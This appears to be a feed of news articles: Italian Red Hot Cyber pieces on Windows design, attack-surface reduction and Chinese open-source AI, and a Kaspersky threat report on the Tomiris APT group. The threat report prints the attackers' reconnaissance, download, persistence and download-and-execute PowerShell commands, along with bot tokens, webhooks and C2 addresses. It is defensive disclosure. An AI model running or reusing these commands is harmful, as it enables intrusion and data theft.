Windows fa schifo? Il video di Dave Plummer, l’ingegnere Microsoft che creò il task manager

Dave Plummer, ex ingegnere senior molto stimato presso Microsoft, che ha guidato lo sviluppo di numerosi componenti fondamentali di Windows, tra cui Task Manager, il porting di Space Cadet Pinball per Windows NT e il supporto nativo per i file ZIP, ha ora affrontato pubblicamente una questione controversa, analizzando senza mezzi termini perché Windows “fa schifo”.

IT Home ha osservato che nel suo ultimo video su YouTube, “Windows “SUCKS”: How I’d Fix it by a retired Microsoft Windows engineer”, Plummer sottolinea che molte delle misure adottate da Microsoft per semplificare il sistema operativo e migliorare l’esperienza utente per gli utenti meno esperti hanno in realtà irritato un gruppo di utenti più attivi e avanzati, che si risentono del crescente numero di elementi di design restrittivi (guardrail) nel sistema.

Per risolvere questo conflitto, propone un suggerimento chiave: introdurre un interruttore per la “modalità minimalista” nel sistema . Abilitarlo riduce significativamente la “loquacità” del sistema, manifestata specificamente come segue:

• Smetti di promuovere proattivamente le raccomandazioni delle app;
• A meno che non venga esplicitamente indicato diversamente, le ricerche locali non attiveranno più le query di rete;
• La voce delle impostazioni di sistema è integrata per evitare che gli utenti debbano cercare elementi di configurazione in stile “caccia al tesoro” su diverse interfacce;
• Integrare in modo approfondito nel sistema strumenti di sviluppo e gestione avanzati quali Windows Subsystem for Linux (WSL), curl, Windows Terminal e WinGet Package Manager, assicurandosi che siano pronti all’uso e facilmente accessibili fin da subito.

Plummer ha inoltre affermato che il termine “telemetria” è ormai quasi una “parola sensibile“, ma ha sottolineato che abolire completamente la telemetria non è una buona soluzione; una soluzione migliore è quella di garantire agli utenti piena trasparenza e controllo, ad esempio introducendo un meccanismo di “registro della privacy”: registrare tutte le attività di raccolta dati in un formato chiaro e di facile comprensione e consentire agli utenti di disattivare liberamente il caricamento di specifici tipi di dati.

youtube.com/embed/oTpA5jt1g60?…

Ha inoltre sostenuto che durante la fase iniziale di configurazione di Windows, agli utenti dovrebbe essere presentato un chiaro confronto tra account locali e account Microsoft, con una spiegazione chiara dei rispettivi vantaggi e svantaggi, restituendo così la scelta agli utenti finali sufficientemente razionali.

Per quanto riguarda gli aggiornamenti di sistema, Pramer ha sottolineato in particolare che le installazioni degli aggiornamenti dovrebbero essere rigorosamente limitate ai periodi di scarsa attività degli utenti e dovrebbero essere accompagnate da una funzione di “rollback con un clic” per evitare interruzioni della produzione dovute a errori di aggiornamento durante i periodi di picco di lavoro.

Di particolare rilievo è l’acuta osservazione di Plummer secondo cui Windows sta diventando sempre più un canale di vendita per altri prodotti Microsoft : il sistema propone spesso suggerimenti di aggiornamento o abbonamento per vari prodotti e servizi. Ritiene che il passaggio alla “modalità minimalista” di cui sopra potrebbe risolvere anche questo problema: disattivare completamente ogni forma di richiesta promozionale.

Tuttavia, ammette anche che è improbabile che questa soluzione venga adottata dagli attuali dirigenti Microsoft: dopotutto, uno dei loro KPI principali è aumentare il tasso di conversione degli utenti che cliccano sui contenuti consigliati. Plummer afferma senza mezzi termini che questa è la causa principale della profonda avversione di molti utenti per Windows e della loro condanna come “terribile“: gli utenti hanno la sensazione di aver pagato per un prodotto, ma sono costretti a utilizzare una piattaforma di vendita che spinge costantemente le vendite.

L’intero video è stimolante, soprattutto considerando il profondo coinvolgimento del relatore nello sviluppo di Windows e la sua approfondita conoscenza della logica di progettazione e della storia del sistema. Oltre ai punti sopra menzionati, Pramer discute anche di altri punti critici, come la disconnessione funzionale di lunga data tra l’app Impostazioni e il tradizionale Pannello di controllo

L'articolo Windows fa schifo? Il video di Dave Plummer, l’ingegnere Microsoft che creò il task manager proviene da Red Hot Cyber.

Tomiris wreaks Havoc: New tools and techniques of the APT group

While tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental organizations, and government entities, demonstrating a focus on high-value political and diplomatic infrastructure. In several cases, we traced the threat actor’s actions from initial infection to the deployment of post-exploitation frameworks.

These attacks highlight a notable shift in Tomiris’s tactics, namely the increased use of implants that leverage public services (e.g., Telegram and Discord) as command-and-control (C2) servers. This approach likely aims to blend malicious traffic with legitimate service activity to evade detection by security tools.

Most infections begin with the deployment of reverse shell tools written in various programming languages, including Go, Rust, C/C#/C++, and Python. Some of them then deliver an open-source C2 framework: Havoc or AdaptixC2.

This report in a nutshell:

• New implants developed in multiple programming languages were discovered;
• Some of the implants use Telegram and Discord to communicate with a C2;
• Operators employed Havoc and AdaptixC2 frameworks in subsequent stages of the attack lifecycle.

Kaspersky’s products detect these threats as:

• HEUR:Backdoor.Win64.RShell.gen,
• HEUR:Backdoor.MSIL.RShell.gen,
• HEUR:Backdoor.Win64.Telebot.gen,
• HEUR:Backdoor.Python.Telebot.gen,
• HEUR:Trojan.Win32.RProxy.gen,
• HEUR:Trojan.Win32.TJLORT.a,
• HEUR:Backdoor.Win64.AdaptixC2.a.

For more information, please contact intelreports@kaspersky.com.

Technical details

Initial access

The infection begins with a phishing email containing a malicious archive. The archive is often password-protected, and the password is typically included in the text of the email. Inside the archive is an executable file. In some cases, the executable’s icon is disguised as an office document icon, and the file name includes a double extension such as .doc<dozen_spaces>.exe. However, malicious executable files without icons or double extensions are also frequently encountered in archives. These files often have very long names that are not displayed in full when viewing the archive, so their extensions remain hidden from the user.

Example of a phishing email containing a malicious archive

Translation:
Subject: The Office of the Government of the Russian Federation on the issue of classification of goods sold in the territory of the Siberian Federal District
Body:
Dear colleagues!
In preparation for the meeting of the Executive Office of the Government of the Russian Federation on the classification of projects implemented in the Siberian Federal District as having a significant impact on the
socioeconomic development of the Siberian District, we request your position on the projects listed in the attached file. The Executive Office of the Government of Russian Federation on the classification of
projects implemented in the Siberian Federal District.
Password: min@2025

Example of an archive with a malicious executable

When the file is executed, the system becomes infected. However, different implants were often present under the same file names in the archives, and the attackers’ actions varied from case to case.

The implants

Tomiris C/C++ ReverseShell

Tomiris C/C++ ReverseShell infection schema

This implant is a reverse shell that waits for commands from the operator (in most cases that we observed, the infection was human-operated). After a quick environment check, the attacker typically issues a command to download another backdoor – AdaptixC2. AdaptixC2 is a modular framework for post-exploitation, with source code available on GitHub. Attackers use built-in OS utilities like bitsadmin, curl, PowerShell, and certutil to download AdaptixC2. The typical scenario for using the Tomiris C/C++ reverse shell is outlined below.

Environment reconnaissance. The attackers collect various system information, including information about the current user, network configuration, etc.
echo 4fUPU7tGOJBlT6D1wZTUk
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir
dir C:\users\
[username]Download of the next-stage implant. The attackers try to download AdaptixC2 from several URLs.
bitsadmin /transfer www /download http://<HOST>/winupdate.exe $public\libraries\winvt.exe
curl -o $public\libraries\service.exe http://<HOST>/service.exe
certutil -urlcache -f https://<HOST>/AkelPad.rar $public\libraries\AkelPad.rar
powershell.exe -Command powershell -Command "Invoke-WebRequest -Uri 'https://<HOST>/winupdate.exe' -OutFile '$public\pictures\sbschost.exe'
Verification of download success. Once the download is complete, the attackers check that AdaptixC2 is present in the target folder and has not been deleted by security solutions.
dir $temp
dir $public\libraries
Establishing persistence for the downloaded payload. The downloaded implant is added to the Run registry key.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ /d $public\pictures\winupdate.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t REG_SZ /d "$public\videos\alone.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ /d "$public\Pictures\dwm.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion/t REG_SZ /d $public\Pictures\sbschost.exe /f
Verification of persistence success. Finally, the attackers check that the implant is present in the Run registry key.
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
This year, we observed three variants of the C/C++ reverse shell whose functionality ultimately provided access to a remote console. All three variants have minimal functionality – they neither replicate themselves nor persist in the system. In essence, if the running process is terminated before the operators download and add the next-stage implant to the registry, the infection ends immediately.

The first variant is likely based on the Tomiris Downloader source code discovered in 2021. This is evident from the use of the same function to hide the application window.

Code of window-hiding function in Tomiris C/C++ ReverseShell and Tomiris Downloader

Below are examples of the key routines for each of the detected variants.

Tomiris C/C++ ReverseShell main routine

Tomiris Rust Downloader

Tomiris Rust Downloader is a previously undocumented implant written in Rust. Although the file size is relatively large, its functionality is minimal.

Tomiris Rust Downloader infection schema

Upon execution, the Trojan first collects system information by running a series of console commands sequentially.
"cmd" /C "ipconfig /all"
"cmd" /C "echo %username%"
"cmd" /C hostname
"cmd" /C ver
"cmd" /C curl hxxps://ipinfo[.]io/ip
"cmd" /C curl hxxps://ipinfo[.]io/country
Then it searches for files and compiles a list of their paths. The Trojan is interested in files with the following extensions: .jpg, .jpeg, .png, .txt, .rtf, .pdf, .xlsx, and .docx. These files must be located on drives C:/, D:/, E:/, F:/, G:/, H:/, I:/, or J:/. At the same time, it ignores paths containing the following strings: “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data”, and “AppData”.

A multipart POST request is used to send the collected system information and the list of discovered file paths to Discord via the URL:
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
It is worth noting that only the paths to the discovered files are sent to Discord; the Trojan does not transmit the actual files.

The structure of the multipart request is shown below:

Example of “payload_json”

After sending the request, the Trojan creates two scripts, script.vbs and script.ps1, in the temporary directory. Before dropping script.ps1 to the disk, Rust Downloader creates a URL from hardcoded pieces and adds it to the script. It then executes script.vbs using the cscript utility, which in turn runs script.ps1 via PowerShell. The script.ps1 script runs in an infinite loop with a one-minute delay. It attempts to download a ZIP archive from the URL provided by the downloader, extract it to %TEMP%\rfolder, and execute all unpacked files with the .exe extension. The placeholder <PC_NAME> in script.ps1 is replaced with the name of the infected computer.

Content of script.vbs:
Set Shell = CreateObject("WScript.Shell")
Shell.Run "powershell -ep Bypass -w hidden -File %temp%\script.ps1"
Content of script.ps1:
$Url = "hxxp://193.149.129[.]113/<PC_NAME>"
$dUrl = $Url + "/1.zip"
while($true){
try{
$Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
iwr -OutFile $env:Temp\1.zip -Uri $dUrl
New-Item -Path $env:TEMP\rfolder -ItemType Directory
tar -xf $env:Temp\1.zip -C $env:Temp\rfolder
Get-ChildItem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object {Start-Process $_.FullName }
break
}catch{
Start-Sleep -Seconds 60
}
}
It’s worth noting that in at least one case, the downloaded archive contained an executable file associated with Havoc, another open-source post-exploitation framework.

Tomiris Python Discord ReverseShell

The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We were able to remove the obfuscation and recover the original script code. The Trojan serves as the initial stage of infection and is primarily used for reconnaissance and downloading subsequent implants. We observed it downloading the AdaptixC2 framework and the Tomiris Python FileGrabber.

Tomiris Python Discord ReverseShell infection schema

The Trojan is based on the “discord” Python package, which implements communication via Discord, and uses the messenger as the C2 channel. Its code contains a URL to communicate with the Discord C2 server and an authentication token. Functionally, the Trojan acts as a reverse shell, receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.

Python Discord ReverseShell

Tomiris Python FileGrabber

As mentioned earlier, this Trojan is installed in the system via the Tomiris Python Discord ReverseShell. The attackers do this by executing the following console command.
cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"
The Trojan is written in Python and compiled into an executable using PyInstaller. It collects files with the following extensions into a ZIP archive: .jpg, .png, .pdf, .txt, .docx, and .doc. The resulting archive is sent to the C2 server via an HTTP POST request. During the file collection process, the following folder names are ignored: “AppData”, “Program Files”, “Windows”, “Temp”, “System Volume Information”, “$RECYCLE.BIN”, and “bin”.

Python FileGrabber

Distopia backdoor

Distopia Backdoor infection schema

The backdoor is based entirely on the GitHub repository project “dystopia-c2” and is written in Python. The executable file was created using PyInstaller. The backdoor enables the execution of console commands on the infected system, the downloading and uploading of files, and the termination of processes. In one case, we were able to trace a command used to download another Trojan – Tomiris Python Telegram ReverseShell.

Distopia backdoor

Sequence of console commands executed by attackers on the infected system:
cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"
cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"
cmd.exe /c "$public\sysmgmt.exe"

Tomiris Python Telegram ReverseShell

The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We managed to remove the obfuscation and recover the original script code. The Trojan uses Telegram to communicate with the C2 server, with code containing an authentication token and a “chat_id” to connect to the bot and receive commands for execution. Functionally, it is a reverse shell, capable of receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.

Initially, we assumed this was an updated version of the Telemiris bot previously used by the group. However, after comparing the original scripts of both Trojans, we concluded that they are distinct malicious tools.

Python Telegram ReverseShell (to the right) and Telemiris (to the left)

Other implants used as first-stage infectors

Below, we list several implants that were also distributed in phishing archives. Unfortunately, we were unable to track further actions involving these implants, so we can only provide their descriptions.

Tomiris C# Telegram ReverseShell

Another reverse shell that uses Telegram to receive commands. This time, it is written in C# and operates using the following credentials:
URL = hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/
CHAT_ID = 7709228285

Tomiris C# Telegram ReverseShell

JLORAT

One of the oldest implants used by malicious actors has undergone virtually no changes since it was first identified in 2022. It is capable of taking screenshots, executing console commands, and uploading files from the infected system to the C2. The current version of the Trojan lacks only the download command.

Tomiris Rust ReverseShell

This Trojan is a simple reverse shell written in the Rust programming language. Unlike other reverse shells used by attackers, it uses PowerShell as the shell rather than cmd.exe.

Strings used by main routine of Tomiris Rust ReverseShell

Tomiris Go ReverseShell

The Trojan is a simple reverse shell written in Go. We were able to restore the source code. It establishes a TCP connection to 62.113.114.209 on port 443, runs cmd.exe and redirects standard command line input and output to the established connection.

Restored code of Tomiris Go ReverseShell

Tomiris PowerShell Telegram Backdoor

The original executable is a simple packer written in C++. It extracts a Base64-encoded PowerShell script from itself and executes it using the following command line:
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgACIANwA3ADAAOQAyADIAOAAyADgANQ…………
The extracted script is a backdoor written in PowerShell that uses Telegram to communicate with the C2 server. It has only two key commands:

• /upload: Download a file from Telegram using a file_Id identifier provided as a parameter and save it to “C:\Users\Public\Libraries\” with the name specified in the parameter file_name.
• /go: Execute a provided command in the console and return the results as a Telegram message.

The script uses the following credentials for communication:
$chat_id = "7709228285"
$botToken = "8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8"
$apiUrl = "hxxps://api.telegram[.]org/bot$botToken/"

Strings used by main routine of Tomiris PowerShell Telegram Backdoor

Tomiris C# ReverseShell

A simple reverse shell written in C#. It doesn’t support any additional commands beyond console commands.

Tomiris C# ReverseShell main routine

Other implants

During the investigation, we also discovered several reverse SOCKS proxy implants on the servers from which subsequent implants were downloaded. These samples were also found on infected systems. Unfortunately, we were unable to determine which implant was specifically used to download them. We believe these implants are likely used to proxy traffic from vulnerability scanners and enable lateral movement within the network.

Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)

The implant is a reverse SOCKS proxy written in C++, with code that is almost entirely copied from the GitHub project Neosama/Reverse-SOCKS5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.

Main routine of Tomiris C++ ReverseSocks

Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)

The Trojan is a reverse SOCKS proxy written in Golang, with code that is almost entirely copied from the GitHub project Acebond/ReverseSocks5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.

Difference between the restored main function of the Trojan code and the original code from the GitHub project

Victims

Over 50% of the spear-phishing emails and decoy files in this campaign used Russian names and contained Russian text, suggesting a primary focus on Russian-speaking users or entities. The remaining emails were tailored to users in Turkmenistan, Kyrgyzstan, Tajikistan, and Uzbekistan, and included content in their respective national languages.

Attribution

In our previous report, we described the JLORAT tool used by the Tomiris APT group. By analyzing numerous JLORAT samples, we were able to identify several distinct propagation patterns commonly employed by the attackers. These patterns include the use of long and highly specific filenames, as well as the distribution of these tools in password-protected archives with passwords in the format “xyz@2025” (for example, “min@2025” or “sib@2025”). These same patterns were also observed with reverse shells and other tools described in this article. Moreover, different malware samples were often distributed under the same file name, indicating their connection. Below is a brief list of overlaps among tools with similar file names:

We also analyzed the group’s activities and found other tools associated with them that may have been stored on the same servers or used the same servers as a C2 infrastructure. We are highly confident that these tools all belong to the Tomiris group.

Conclusions

The Tomiris 2025 campaign leverages multi-language malware modules to enhance operational flexibility and evade detection by appearing less suspicious. The primary objective is to establish remote access to target systems and use them as a foothold to deploy additional tools, including AdaptixC2 and Havoc, for further exploitation and persistence.

The evolution in tactics underscores the threat actor’s focus on stealth, long-term persistence, and the strategic targeting of government and intergovernmental organizations. The use of public services for C2 communications and multi-language implants highlights the need for advanced detection strategies, such as behavioral analysis and network traffic inspection, to effectively identify and mitigate such threats.

Indicators of compromise

More indicators of compromise, as well as any updates to them, are available to customers of our APT reporting service. If interested, please contact intelreports@kaspersky.com.

Distopia Backdoor
B8FE3A0AD6B64F370DB2EA1E743C84BB

Tomiris Python Discord ReverseShell
091FBACD889FA390DC76BB24C2013B59

Tomiris Python FileGrabber
C0F81B33A80E5E4E96E503DBC401CBEE

Tomiris Python Telegram ReverseShell
42E165AB4C3495FADE8220F4E6F5F696

Tomiris C# Telegram ReverseShell
2FBA6F91ADA8D05199AD94AFFD5E5A18

Tomiris C/C++ ReverseShell
0F955D7844E146F2BD756C9CA8711263
078BE0065D0277935CDCF7E3E9DB4679
33ED1534BBC8BD51E7E2CF01CADC9646

Tomiris Rust Downloader
1083B668459BEACBC097B3D4A103623F

JLORAT
C73C545C32E5D1F72B74AB0087AE1720

Tomiris Rust ReverseShell
9A9B1BA210AC2EBFE190D1C63EC707FA

Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)
2ED5EBC15B377C5A03F75E07DC5F1E08

Tomiris PowerShell Telegram Backdoor
C75665E77FFB3692C2400C3C8DD8276B

Tomiris C# ReverseShell
DF95695A3A93895C1E87A76B4A8A9812

Tomiris Go ReverseShell
087743415E1F6CC961E9D2BB6DFD6D51

Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)
83267C4E942C7B86154ACD3C58EAF26C

AdaptixC2
CD46316AEBC41E36790686F1EC1C39F0
1241455DA8AADC1D828F89476F7183B7
F1DCA0C280E86C39873D8B6AF40F7588

Havoc
4EDC02724A72AFC3CF78710542DB1E6E

Domains/IPs/URLs
Distopia Backdoor
hxxps://discord[.]com/api/webhooks/1357597727164338349/ikaFqukFoCcbdfQIYXE91j-dGB-8YsTNeSrXnAclYx39Hjf2cIPQalTlAxP9-2791UCZ

Tomiris Python Discord ReverseShell
hxxps://discord[.]com/api/webhooks/1370623818858762291/p1DC3l8XyGviRFAR50de6tKYP0CCr1hTAes9B9ljbd-J-dY7bddi31BCV90niZ3bxIMu
hxxps://discord[.]com/api/webhooks/1388018607283376231/YYJe-lnt4HyvasKlhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cU5IfBDYBYX-E78G
hxxps://discord[.]com/api/webhooks/1386588127791157298/FSOtFTIJaNRT01RVXk5fFsU_sjp_8E0k2QK3t5BUcAcMFR_SHMOEYyLhFUvkY3ndk8-w
hxxps://discord[.]com/api/webhooks/1369277038321467503/KqfsoVzebWNNGqFXePMxqi0pta2445WZxYNsY9EsYv1u_iyXAfYL3GGG76bCKy3-a75
hxxps://discord[.]com/api/webhooks/1396726652565848135/OFds8Do2qH-C_V0ckaF1AJJAqQJuKq-YZVrO1t7cWuvAp7LNfqI7piZlyCcS1qvwpXTZ

Tomiris Python FileGrabber
hxxp://62.113.115[.]89/homepage/infile.php

Tomiris Python Telegram ReverseShell
hxxps://api.telegram[.]org/bot7562800307:AAHVB7Ctr-K52J-egBlEdVoRHvJcYr-0nLQ/

Tomiris C# Telegram ReverseShell
hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/

Tomiris C/C++ ReverseShell
77.232.39[.]47
109.172.85[.]63
109.172.85[.]95
185.173.37[.]67
185.231.155[.]111
195.2.81[.]99

Tomiris Rust Downloader
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
hxxps://discordapp[.]com/api/webhooks/1363764458815623370/IMErckdJLreUbvxcUA8c8SCfhmnsnivtwYSf7nDJF-bWZcFcSE2VhXdlSgVbheSzhGYE
hxxps://discordapp[.]com/api/webhooks/1355019191127904457/xCYi5fx_Y2-ddUE0CdHfiKmgrAC-Cp9oi-Qo3aFG318P5i-GNRfMZiNFOxFrQkZJNJsR
hxxp://82.115.223[.]218/
hxxp://172.86.75[.]102/
hxxp://193.149.129[.]113/

JLORAT
hxxp://82.115.223[.]210:9942/bot_auth
hxxp://88.214.26[.]37:9942/bot_auth
hxxp://141.98.82[.]198:9942/bot_auth

Tomiris Rust ReverseShell
185.209.30[.]41

Tomiris C++ ReverseSocks (based on GitHub “Neosama/Reverse-SOCKS5”)
185.231.154[.]84

Tomiris PowerShell Telegram Backdoor
hxxps://api.telegram[.]org/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTtTZD7ZUArT8E/
hxxps://api.telegram[.]org/bot7864956192:AAEjExTWgNAMEmGBI2EsSs46AhO7Bw8STcY/
hxxps://api.telegram[.]org/bot8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8/
hxxps://api.telegram[.]org/bot7157076145:AAG79qKudRCPu28blyitJZptX_4z_LlxOS0/
hxxps://api.telegram[.]org/bot7649829843:AAH_ogPjAfuv-oQ5_Y-s8YmlWR73Gbid5h0/

Tomiris C# ReverseShell
206.188.196[.]191
188.127.225[.]191
188.127.251[.]146
94.198.52[.]200
188.127.227[.]226
185.244.180[.]169
91.219.148[.]93

Tomiris Go ReverseShell
62.113.114[.]209
195.2.78[.]133

Tomiris Go ReverseSocks (based on GitHub “Acebond/ReverseSocks5”)
192.165.32[.]78
188.127.231[.]136

AdaptixC2
77.232.42[.]107
94.198.52[.]210
96.9.124[.]207
192.153.57[.]189
64.7.199[.]193

Havoc
78.128.112[.]209

Malicious URLs
hxxp://188.127.251[.]146:8080/sbchost.rar
hxxp://188.127.251[.]146:8080/sxbchost.exe
hxxp://192.153.57[.]9/private/svchost.exe
hxxp://193.149.129[.]113/732.exe
hxxp://193.149.129[.]113/system.exe
hxxp://195.2.79[.]245/732.exe
hxxp://195.2.79[.]245/code.exe
hxxp://195.2.79[.]245/firefox.exe
hxxp://195.2.79[.]245/rever.exe
hxxp://195.2.79[.]245/service.exe
hxxp://195.2.79[.]245/winload.exe
hxxp://195.2.79[.]245/winload.rar
hxxp://195.2.79[.]245/winsrv.rar
hxxp://195.2.79[.]245/winupdate.exe
hxxp://62.113.115[.]89/offel.exe
hxxp://82.115.223[.]78/private/dwm.exe
hxxp://82.115.223[.]78/private/msview.exe
hxxp://82.115.223[.]78/private/spoolsvc.exe
hxxp://82.115.223[.]78/private/svchost.exe
hxxp://82.115.223[.]78/private/sysmgmt.exe
hxxp://85.209.128[.]171:8000/AkelPad.rar
hxxp://88.214.25[.]249:443/netexit.rar
hxxp://89.110.95[.]151/dwm.exe
hxxp://89.110.98[.]234/Rar.exe
hxxp://89.110.98[.]234/code.exe
hxxp://89.110.98[.]234/rever.rar
hxxp://89.110.98[.]234/winload.exe
hxxp://89.110.98[.]234/winload.rar
hxxp://89.110.98[.]234/winrm.exe
hxxps://docsino[.]ru/wp-content/private/alone.exe
hxxps://docsino[.]ru/wp-content/private/winupdate.exe
hxxps://sss.qwadx[.]com/12345.exe
hxxps://sss.qwadx[.]com/AkelPad.exe
hxxps://sss.qwadx[.]com/netexit.rar
hxxps://sss.qwadx[.]com/winload.exe
hxxps://sss.qwadx[.]com/winsrv.exe

securelist.com/tomiris-new-too…

La sicurezza informatica è noiosa! La chiave? E’ spesso eliminare il superfluo

Ogni giorno salta fuori un nuovo bug su firewall, VPN e altri sistemi messi lì a difendere il perimetro. È quasi un rituale stanco: qualcuno scopre un’altra falla, un’altra crepa che non dovrebbe esserci, e ci si ritrova a pensare che forse questa idea del “perimetro blindato” era già un po’ traballante in partenza.

La cosa buffa-buffa, è quella che alle volte il problema vero non è il firewall in sé a essere messo male, ma la sua web application di amministrazione. Quella che dovrebbe stare chiusa, sigillata, protetta come un vecchio album di foto di famiglia. Invece viene esposta sempre lì, su Internet, in scioltezza da pilates.

E quindi basta cercare su Shodan, Censys o Zoomeye. Due parole, un clic distratto, e spuntano fuori migliaia di questi apparati lasciati allo scoperto. Un panorama quasi deprimente e allo stesso tempo “inquietante” se non fosse che a volte fa pure sorridere per quanto è puerile e paradossalmente “nati sicuro”.

Chiavi sotto il tappetino

Davvero, sembra che molti non abbiano capito la cosa più semplice: le chiavi di casa si tengono nel portachiavi, non sotto il tappetino. Eppure, con firewall e VPN molti ancora fanno esattamente il contrario. È quasi un gesto rituale che non fa comprendere se se di sicurezza le persone non ne sanno davvero nulla oppure “dai, lasciamo questo pannello qui, ci facilita la vita … tanto cosa vuoi che succeda mai?”.

Su Red Hot Cyber questa storia la si ripete da anni. Roba detta, ridetta, urlata in maiuscolo e in corsivo mentale fin dagli esordi della nostra community. Bisogna RIDURRE LA SUPERFICE DI RISCHIO CYBER – diceva il nostro fondatore Massimiliano Brolli nel 2017 – ridurla in ogni modo possibile, farla a fette finché non resta solo quello che serve davvero.

E la primissima cosa da fare, così banale che quasi imbarazza scriverla: occorre eliminare ciò che non serve essere esposto. Eliminarlo proprio: via, fuori! Sparito da Internet.

Ogni servizio lasciato aperto aggiunge un punto debole. Ogni pannello d’amministrazione messo lì alla luce del sole diventa un potenziale invito per chi vuole sfruttarlo. E non parlo di attacchi geniali: spesso è roba da manuale del principiante, da script kiddie, non da organizzazione statuale munita di potenti zeroday.

E sì … qualcuno potrebbe dire che è noioso. E’ vero e ci sta. Ma la sicurezza è “militare”, “organizzata”, ed è spesso noiosa. Ma è proprio per questo funziona bene se la conosci e la sai implementare.

Eliminare è un atto di cura

Non serve fare patch eroiche se un servizio non dovrebbe stare lì in primo luogo.

Eliminare è più rapido, pulito, quasi terapeutico… direi “chirurgico”. Eppure molti preferiscono trascinarsi dietro applicazioni vecchie, pannelli obsoleti, sistemi dimenticati ma ancora aperti. Una sorta di “collezionismo del pericolo”.

È come lasciare la porta di casa spalancata perché la serratura cigola. Per comodità, dicono. Per fretta. Ma la fretta, si sa, fa danni peggiori di qualsiasi hacker. Gli attaccanti queste cose le adorano. Non devono fare nulla: basta guardare, raccogliere ciò che trovano per terra, come un portafoglio lasciato sulla panchina.

La banalità è quindi il vero mostro

Spesso è solo “configurazione”, “vulnerabilità banali”, ma proprio ma proprio banali. Credenziali lasciate come mamma le ha fatte (di default), pagine di login che chiunque può raggiungere. Eppure il problema continua a riapparire come una macchia che non se ne va mai.

E mentre tutti parlano degli attacchi sofisticati, nei fatti il primo varco lo apre quasi sempre chi dovrebbe averlo chiuso.

È un paradosso che ormai non sorprende più nessuno, ma fa sempre molto male.

La banalità, quando si parla di sicurezza, è quasi un animale selvatico: silenzioso, fastidioso e capace di mordere forte… quando meno te ne accorgi. E fa poi male, tanto ma tanto male.

L'articolo La sicurezza informatica è noiosa! La chiave? E’ spesso eliminare il superfluo proviene da Red Hot Cyber.

La Cina supera gli Stati Uniti nei modelli di intelligenza artificiale open source

La Cina supera gli Stati Uniti nel mercato globale dei modelli di intelligenza artificiale (IA) open source. Secondo un rapporto del Financial Times del 26 novembre, uno studio del MIT e della startup di IA open source Hugging Face ha rilevato che nell’ultimo anno la quota di download di modelli di IA open source sviluppati da team cinesi è salita al 17%, superando per la prima volta le controparti americane e ottenendo un vantaggio fondamentale nell’applicazione globale della tecnologia IA.

Nel contesto del boom dell’intelligenza artificiale che sta travolgendo l’industria tecnologica globale, i giganti tecnologici statunitensi come OpenAI, Google e Anthropic tendono ad adottare una strategia “chiusa“, mantenendo il controllo completo sulle tecnologie di intelligenza artificiale avanzate e traendo profitto dagli abbonamenti degli utenti e dalle partnership aziendali.

Al contrario, le aziende tecnologiche cinesi privilegiano una strategia più aperta, rilasciando una serie di modelli open source.
Screenshot di un rapporto del Financial Times che mostra la percentuale di download di modelli open source misurata da Hugging Face.
I modelli di intelligenza artificiale open source si riferiscono a modelli di intelligenza artificiale il cui codice e architettura sono pubblicamente disponibili, consentendo a qualsiasi sviluppatore di scaricarli, utilizzarli, modificarli e distribuirli. L’adozione diffusa di modelli open source avrà un impatto significativo sullo sviluppo futuro dell’intelligenza artificiale, facilitando lo sviluppo di prodotti da parte delle startup e il miglioramento dei ricercatori.

Grazie all’impegno instancabile dei ricercatori cinesi, i modelli open source cinesi hanno dimostrato una forte competitività. Una ricerca del MIT e di Hugging Face ha rilevato che nell’ultimo anno la percentuale di nuovi modelli di intelligenza artificiale open source sul totale dei download di modelli open source è salita al 17%, superando il 15,8% dei team di sviluppo negli Stati Uniti. Questa è la prima volta che i team cinesi hanno superato le loro controparti americane in questo parametro.

Wendy Chang, analista senior del Mercator Institute for China Studies, un think tank tedesco, sottolinea: “L’open source è una tendenza più diffusa in Cina che negli Stati Uniti. Le aziende americane non sono disposte a farlo; vogliono fare soldi e non vogliono rivelare i loro segreti commerciali”.

